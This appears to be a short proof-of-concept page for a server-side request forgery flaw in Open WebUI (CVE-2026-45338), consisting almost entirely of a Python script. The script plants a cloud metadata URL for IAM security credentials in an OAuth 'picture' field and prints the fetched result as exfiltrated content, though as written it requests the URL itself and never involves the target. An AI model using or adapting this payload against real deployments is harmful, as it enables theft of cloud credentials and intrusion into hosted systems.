CVE-2026-45338 Open WebUI SSRF漏洞

import requests # Target URL (Open WebUI instance) # The vulnerability is triggered during OAuth processing where the 'picture' URL is fetched. target_host = "http://localhost:3000" malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" # Conceptual PoC simulating the vulnerable function call # In a real scenario, this would be part of the OAuth response payload. payload_data = { "user_info": { "picture": malicious_url # Injection point } } print(f"[+] Attempting to trigger SSRF against: {malicious_url}") # This simulates the server-side request made by the vulnerable function try: response = requests.get(malicious_url, timeout=5) print(f"[+] Response Status: {response.status_code}") print("[+] Exfiltrated Content:") print(response.text) except Exception as e: print(f"[-] Request failed: {e}")